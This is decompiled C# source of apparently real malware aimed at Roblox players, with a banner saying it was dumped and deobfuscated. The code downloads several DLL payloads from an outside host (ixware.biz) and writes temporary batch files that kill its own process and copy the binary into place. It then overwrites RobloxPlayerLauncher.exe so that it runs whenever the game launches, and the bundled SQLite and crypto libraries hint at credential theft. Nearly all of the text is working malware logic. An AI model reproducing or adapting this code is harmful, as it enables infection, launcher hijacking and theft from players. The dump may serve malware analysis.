// Token: 0x06000005 RID: 5 RVA: 0x0000271C File Offset: 0x0000091C
private static void smethod_2()
{
string tempPath = Path.GetTempPath();
string text = Path.Combine(new string[]
{
tempPath + "csupdates.bat"
});
string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id;
string value2 = string.Concat(new string[]
{
"XCOPY /Y \"",
Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(),
"\" \"",
EntryPointClass.string_5,
"\""
});
string value3 = "START /C \"" + EntryPointClass.smethod_0() + "\"";
string value4 = "EXIT";
try
{
if (!File.Exists(text))
{
FileStream fileStream = File.Create(text);
fileStream.Close();
}
using (StreamWriter streamWriter = new StreamWriter(text, false))
{
streamWriter.WriteLine(value);
streamWriter.WriteLine(value2);
streamWriter.WriteLine(value3);
streamWriter.WriteLine(value4);
}
}
catch
{
}
EntryPointClass.MsyUyJaON(text);
}
// Token: 0x06000004 RID: 4 RVA: 0x00002428 File Offset: 0x00000628
private static void Main(string[] args)
{
MessageBox.Show("Dumped by icor, deobfuscated by NTAuth. Entry point reached, dont go further if you dont want to get f*****g infected by this sloppy code.");
EntryPointClass.smethod_5();
string text = Path.Combine(EntryPointClass.smethod_6(), "content", "updates");
string text2 = Path.Combine(text, "RobloxPlayerLauncher.exe");
if (Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()) == Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe"))
{
EntryPointClass.smethod_10(EntryPointClass.smethod_4(args[0].Split(new char[]
{
':'
})[3].Split(new char[]
{
'+'
})[0]));
new Process
{
StartInfo =
{
Arguments = args[0],
FileName = text2
}
}.Start();
return;
}
if (!Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).Contains("Temp"))
{
if (!Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).Contains("Roblox"))
{
if (!Directory.Exists(EntryPointClass.string_5))
{
try
{
Directory.CreateDirectory(EntryPointClass.string_5);
Directory.CreateDirectory(EntryPointClass.string_5 + "\\x64");
Directory.CreateDirectory(EntryPointClass.string_5 + "\\x86");
}
catch
{
}
}
if (File.Exists(EntryPointClass.string_5 + "\\System.Data.SQLite.dll"))
{
if (File.Exists(EntryPointClass.smethod_0()))
{
File.Delete(EntryPointClass.smethod_0());
}
EntryPointClass.smethod_2();
return;
}
WebClient webClient = new WebClient();
webClient.DownloadFile("https://ixware.biz/cs/1.bin", EntryPointClass.string_5 + "\\EntityFramework.dll");
webClient.DownloadFile("https://ixware.biz/cs/2.bin", EntryPointClass.string_5 + "\\EntityFramework.SqlServer.dll");
webClient.DownloadFile("https://ixware.biz/cs/3.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.dll");
webClient.DownloadFile("https://ixware.biz/cs/4.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.EF6.dll");
webClient.DownloadFile("https://ixware.biz/cs/5.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.Linq.dll");
webClient.DownloadFile("https://ixware.biz/cs/6.bin", EntryPointClass.string_5 + "\\BouncyCastle.Crypto.dll");
webClient.DownloadFile("https://ixware.biz/cs/7.bin", EntryPointClass.string_5 + "\\Newtonsoft.Json.dll");
webClient.DownloadFile("https://ixware.biz/cs/x64.bin", EntryPointClass.string_5 + "\\x64\\SQLite.Interop.dll");
webClient.DownloadFile("https://ixware.biz/cs/x86.bin", EntryPointClass.string_5 + "\\x86\\SQLite.Interop.dll");
webClient.Dispose();
if (!File.Exists(text2) && File.Exists(EntryPointClass.smethod_7()))
{
EntryPointClass.smethod_3(text2, text);
return;
}
EntryPointClass.smethod_2();
return;
}
}
else if (Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()) != Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe"))
{
EntryPointClass.smethod_1();
if (EntryPointClass.bool_0)
{
if (EntryPointClass.int_0 >= 80)
{
EntryPointClass.smethod_14();
return;
}
try
{
EntryPointClass.smethod_18();
return;
}
catch
{
return;
}
}
try
{
EntryPointClass.smethod_18();
}
catch
{
EntryPointClass.smethod_14();
}
}
}
// Token: 0x06000006 RID: 6 RVA: 0x00002844 File Offset: 0x00000A44
private static void smethod_3(string string_8, string string_9)
{
string tempPath = Path.GetTempPath();
string text = Path.Combine(new string[]
{
tempPath + "csupdate.bat"
});
string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id;
string value2 = string.Concat(new string[]
{
"XCOPY /Y \"",
Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(),
"\" \"",
EntryPointClass.string_5,
"\""
});
string value3 = string.Concat(new string[]
{
"XCOPY /Y \"",
EntryPointClass.smethod_7(),
"\" \"",
string_9,
"\""
});
string value4 = string.Concat(new string[]
{
"XCOPY /Y \"",
Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(),
"\" \"",
Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe"),
"\""
});
string value5 = "START /C \"" + EntryPointClass.smethod_0() + "\"";
string value6 = "EXIT";
try
{
if (!File.Exists(string_8) && !Directory.Exists(string_9))
{
Directory.CreateDirectory(string_9);
}
}
catch
{
}
try
{
if (!File.Exists(text))
{
FileStream fileStream = File.Create(text);
fileStream.Close();
}
using (StreamWriter streamWriter = new StreamWriter(text, false))
{
streamWriter.WriteLine(value);
streamWriter.WriteLine(value2);
streamWriter.WriteLine(value3);
streamWriter.WriteLine(value4);
streamWriter.WriteLine(value5);
streamWriter.WriteLine(value6);
}
}
catch
{
}
EntryPointClass.MsyUyJaON(text);
}
